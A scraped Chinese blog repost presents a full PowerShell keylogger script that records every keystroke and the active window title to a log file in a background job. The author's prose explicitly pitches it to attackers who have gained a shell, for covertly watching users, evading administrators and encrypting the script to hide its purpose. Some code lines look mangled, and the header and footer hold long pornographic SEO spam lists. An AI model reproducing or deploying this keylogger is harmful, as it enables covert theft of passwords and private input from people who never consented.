校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃

主頁 > 知識庫 > PowerShell小技巧之定時記錄操作系統行為

PowerShell小技巧之定時記錄操作系統行為

熱門標簽:地圖標注的圖案 新鄭電銷機器人一個月多少錢 如何根據經緯度百度地圖標注 印臺區呼叫中心外呼系統 電話機器人公司招聘 六寸地圖標注點怎么刪除 騰訊地圖標注中心怎么標注 萬全縣地圖標注app 莫拉克電梯系統外呼怎么設置

作為系統管理員,有些時候是需要記錄系統中的其他用戶的一些操作行為的,例如:當系統管理員懷疑系統存在漏洞,且已經有被植入后門或者創建隱藏賬戶時,就需要對曾經登陸的用戶進行監控,保存其打開或者操作過的文件。或者在另外一個場景,當黑客拿下一個普通權限的shell之后,想看看最近有哪些用戶登陸過,操作過什么,以便根據用戶習慣采取進一步行動獲取更高權限,這個時候記錄用戶行為就顯得很重要了。

      可能有讀者覺得此時安裝個監控軟件不就行了么,拜托,你入侵別人的系統,你裝個監控軟件,你把管理員試做無物么?這個時候PowerShell這個vista及其之后Windows操作系統都自帶的強大的命令行就有了用處,系統自帶,不會被管理員發現異常,腳本不用編譯,如果腳本內容再加個密,他們更猜不出是干什么用的,嘿嘿。如果要記錄幾個特性用于記錄啥時候干了什么,無非要記錄的有幾樣內容:操作,哪個文件或程序,時間。有這幾個特點就基本上可以掌握用戶的操作習慣了。
 
      代碼不算太難就不逐句解釋了,有啥問題的讀者可以給我留言詢問,基本上關鍵語句都有注釋的。代碼如下:

復制代碼 代碼如下:

 =====文件名:Get-TimedOperationRecord.ps1=====
function Get-TimedOperationRecord {
#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
 Logs keys pressed, time and the active window.
.Parameter LogPath
    Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'.
.Parameter CollectionInterval
    Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.
.Example
    Get-TimedOperationRecord -LogPath C:\key.log
.Example
    Get-TimedOperationRecord -CollectionInterval 20
#>
    [CmdletBinding()] Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
        [String]
        $LogPath = "$($Env:TEMP)\key.log",

        [Parameter(Position = 1)]
        [UInt32]
        $CollectionInterval
    )

    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

    Write-Verbose "Logging keystrokes to $LogPath"

    $Initilizer = {
        $LogPath = 'REPLACEME'

        '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

        function KeyLog {
            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

            try
            {
                $ImportDll = [User32]
            }
            catch
            {
                $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
                $FieldArray = [Reflection.FieldInfo[]] @(
                    [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
                )

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
                $FieldValueArray = [Object[]] @(
                    'GetAsyncKeyState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
                $FieldValueArray = [Object[]] @(
                    'GetKeyboardState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public,Static', [Int32], [Type[]] @([Int32], [Int32]))
                $FieldValueArray = [Object[]] @(
                    'MapVirtualKey',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
                    [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
                $FieldValueArray = [Object[]] @(
                    'ToUnicode',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
                $FieldValueArray = [Object[]] @(
                    'GetForegroundWindow',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $ImportDll = $TypeBuilder.CreateType()
            }

            Start-Sleep -Milliseconds 40

                try
                {

                    #loop through typeable characters to see which is pressed
                    for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
                    {
                        $VirtualKey = $TypeableChar
                        $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)

                        #if the key is pressed
                        if (($KeyResult -band 0x8000) -eq 0x8000)
                        {

                            #check for keys not mapped by virtual keyboard
                            $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
                            $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
                            $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
                            $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
                            $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
                            $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
                            $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
                            $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
                            $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
                            $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
                            $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
                            $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
                            $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
                            $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
                            $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
                            $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
                            $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000

                            if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
                            if ($LeftCtrl  -or $RightCtrl)  {$LogOutput += '[Ctrl]'}
                            if ($LeftAlt   -or $RightAlt)   {$LogOutput += '[Alt]'}
                            if ($TabKey)       {$LogOutput += '[Tab]'}
                            if ($SpaceBar)     {$LogOutput += '[SpaceBar]'}
                            if ($DeleteKey)    {$LogOutput += '[Delete]'}
                            if ($EnterKey)     {$LogOutput += '[Enter]'}
                            if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
                            if ($LeftArrow)    {$LogOutput += '[Left Arrow]'}
                            if ($RightArrow)   {$LogOutput += '[Right Arrow]'}
                            if ($UpArrow)      {$LogOutput += '[Up Arrow]'}
                            if ($DownArrow)    {$LogOutput += '[Down Arrow]'}
                            if ($LeftMouse)    {$LogOutput += '[Left Mouse]'}
                            if ($RightMouse)   {$LogOutput += '[Right Mouse]'}

                            #check for capslock
                            if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}

                            $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
                            $KeyboardState = New-Object Byte[] 256
                            $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)

                            #create a stringbuilder object
                            $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
                            $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)

                            #convert typed characters
                            if ($UnicodeKey -gt 0) {
                                $TypedCharacter = $StringBuilder.ToString()
                                $LogOutput += ('['+ $TypedCharacter +']')
                            }

                            #get the title of the foreground window
                            $TopWindow = $ImportDll::GetForegroundWindow()
                            $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

                            #get the current DTG
                            $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)

                            #Create a custom object to store results
                            $ObjectProperties = @{'Key Typed' = $LogOutput;
                                                  'Window Title' = $WindowTitle;
                                                  'Time' = $TimeStamp}
                            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
                            $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
                            #return results
                            Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode

                        }
                    }
                }
                catch {}
            }
        }

    $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))

    Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

    if ($PSBoundParameters['CollectionInterval'])
    {
        $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)

        Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
            Stop-Job -Name Keylogger
            Unregister-Event -SourceIdentifier ElapsedAction
            $Sender.Stop()
        } | Out-Null
    }
}

執行方式如下圖所示:

執行效果,會在指定的目錄里生成log文件,內容如下圖所示:

能夠看到里面相關的擊鍵動作,有興趣的讀者可以猜一下,這段被記錄的操作都干了什么,期間騰訊還推了一次彈窗新聞,無恥啊。

您可能感興趣的文章:
  • linux中 shell 歷史命令記錄功能
  • 用來記錄登錄后使用命令的shell腳本
  • shell將腳本輸出結果記錄到日志文件的實現
  • PowerShell時間記錄腳本
  • Powershell小技巧之記錄腳本的操作
  • Powershell小技巧之用變量累積記錄錯誤
  • shell如何記錄用戶的IP與命令詳解

標簽:南昌 汕頭 襄陽 喀什 疫苗接種 天水 臨汾 湘潭

巨人網絡通訊聲明:本文標題《PowerShell小技巧之定時記錄操作系統行為》,本文關鍵詞  PowerShell,小,技巧,之,定時,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PowerShell小技巧之定時記錄操作系統行為》相關的同類信息!
  • 本頁收集關于PowerShell小技巧之定時記錄操作系統行為的相關信息資訊供網民參考!
  • 推薦文章
    校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃
    欧美第一区第二区| 欧美r级在线观看| 国产酒店精品激情| 91小视频在线| 欧美一级视频精品观看| 中文字幕精品—区二区四季| 日韩美一区二区三区| 一区二区三区不卡在线观看 | 久久国产精品露脸对白| 国产精品久久精品日日| 亚洲一区自拍偷拍| 日韩欧美成人一区二区| 国产欧美一区二区精品久导航 | 亚洲国产aⅴ成人精品无吗| 欧美va亚洲va在线观看蝴蝶网| 亚洲一区二区三区视频在线播放| av电影在线不卡| 成人av资源在线| 91丨porny丨首页| 91精品国产色综合久久久蜜香臀| 一卡二卡欧美日韩| 不卡的av电影| 国产精品美女久久久久久久久久久| 国产成人在线视频免费播放| 国产精品久久久久久久午夜片| 日韩精品中文字幕一区| 精品精品欲导航| 国产精品水嫩水嫩| 麻豆国产欧美日韩综合精品二区 | 91原创在线视频| 欧美影视一区二区三区| 在线观看免费视频综合| 国产麻豆精品theporn| 国产精品一区二区久久不卡 | 欧美日本一道本在线视频| 欧美一级久久久| 欧美国产一区二区| 亚洲高清视频在线| 国产suv精品一区二区6| 在线视频你懂得一区| 欧美一区二区三区免费视频 | 99国产精品久久久| 欧美日韩久久一区| 欧美激情一区二区三区全黄| 亚洲韩国精品一区| 国产成人免费视频一区| 欧美日韩激情一区二区三区| 久久久久国产精品人| 亚洲永久精品大片| 成人av网址在线| 日韩欧美一级二级三级久久久| 国产精品久久久久一区| 极品少妇xxxx精品少妇| 欧美在线制服丝袜| 国产精品久久毛片av大全日韩| 亚洲不卡一区二区三区| 91免费在线视频观看| 久久人人97超碰com| 亚洲国产一区二区视频| 不卡一区在线观看| 91精品国产综合久久香蕉的特点| 国产精品网曝门| 久草精品在线观看| 日韩视频永久免费| 国产精品久久久久久久久动漫 | 五月婷婷综合激情| 欧美一区二区三区在线看| 麻豆精品在线观看| 亚洲一区二区3| 精品国产青草久久久久福利| 91亚洲午夜精品久久久久久| 五月天亚洲精品| 亚洲天堂成人网| 亚洲综合无码一区二区| 久久精品国内一区二区三区| 国产一区二区成人久久免费影院 | 中日韩免费视频中文字幕| 欧美一区二区三区在线视频| 91小视频免费观看| 国产日韩欧美在线一区| 亚洲第一福利视频在线| 国产精品乱码人人做人人爱 | 国产一区二区三区在线看麻豆| 亚洲品质自拍视频| 精品一区二区三区免费| 欧美日韩国产综合久久| 亚洲国产美女搞黄色| 欧美视频在线观看一区二区| 亚洲一卡二卡三卡四卡五卡| 欧美日韩一区 二区 三区 久久精品| 亚洲人成网站色在线观看| 色婷婷国产精品| 亚洲国产另类精品专区| 777xxx欧美| 国产精品1区2区| 国产精品乱码妇女bbbb| 在线观看免费成人| 亚洲mv大片欧洲mv大片精品| 欧美一区二区视频在线观看| 久久电影网站中文字幕| 国产精品护士白丝一区av| 91麻豆.com| 日本女人一区二区三区| 精品国产免费人成在线观看| 国产91在线|亚洲| 亚洲午夜av在线| 欧美成人a∨高清免费观看| 国产成+人+日韩+欧美+亚洲| 亚洲摸摸操操av| 日韩视频永久免费| 色综合久久久久综合99| 日本成人在线不卡视频| 国产精品视频看| 欧美巨大另类极品videosbest| 久久99精品久久久久久动态图| 国产亚洲综合在线| 欧美精品一二三| 国产精品一二二区| 懂色一区二区三区免费观看 | 国产视频一区在线播放| 日韩综合在线视频| 91国偷自产一区二区使用方法| 欧美一区二区在线免费观看| 国产精品久久久久毛片软件| 极品销魂美女一区二区三区| 日本电影欧美片| 国产精品久久久久久久久免费丝袜| 亚洲国产日产av| 欧美精品在线一区二区| 成人精品国产一区二区4080| 欧美二区乱c少妇| 91在线观看美女| 韩国理伦片一区二区三区在线播放| 亚洲色图欧美激情| 久久精品一区二区三区四区| 91精品国产综合久久精品性色| 成人激情视频网站| 久久99日本精品| 午夜电影网亚洲视频| 亚洲精品成人少妇| 中文字幕一区二区不卡| 久久免费国产精品| 精品久久久久久久人人人人传媒| 欧美亚洲禁片免费| 欧美在线高清视频| 色婷婷综合久久久| 99精品国产91久久久久久| 欧美日韩激情在线| 老司机免费视频一区二区 | 精品亚洲porn| 亚洲欧美日韩中文播放| 精品成a人在线观看| 91精品免费在线观看| 91精品免费在线| 欧美精品 国产精品| 欧美体内she精高潮| 色菇凉天天综合网| 99天天综合性| 成人免费毛片片v| 国产一区二区三区四| 国产老妇另类xxxxx| 岛国av在线一区| 99久久综合99久久综合网站| 成人动漫中文字幕| 色婷婷国产精品久久包臀| 欧美三级视频在线观看| 欧美视频中文字幕| 91精品国产综合久久久蜜臀粉嫩| 欧美精品xxxxbbbb| 久久久另类综合| 国产日产欧产精品推荐色| 中文幕一区二区三区久久蜜桃| 国产精品每日更新| 一区二区三区中文在线| 天天免费综合色| 九色porny丨国产精品| 国产不卡在线一区| 欧美午夜不卡在线观看免费| 欧美电影免费观看高清完整版在线| 欧美精品在线一区二区| 久久久精品欧美丰满| 亚洲欧洲美洲综合色网| 亚洲国产精品一区二区www| 亚洲欧美国产高清| 国产精品自拍一区| 色哟哟欧美精品| 日韩经典一区二区| 91片黄在线观看| 日韩一级免费一区| 亚洲天堂精品视频| 精品伊人久久久久7777人| 另类小说欧美激情| 色婷婷久久久久swag精品| 在线不卡一区二区| 亚洲精品日韩综合观看成人91| 免费日韩伦理电影| 成人黄色在线视频| 成人免费在线播放视频| 一区二区三区视频在线看| 午夜激情一区二区三区|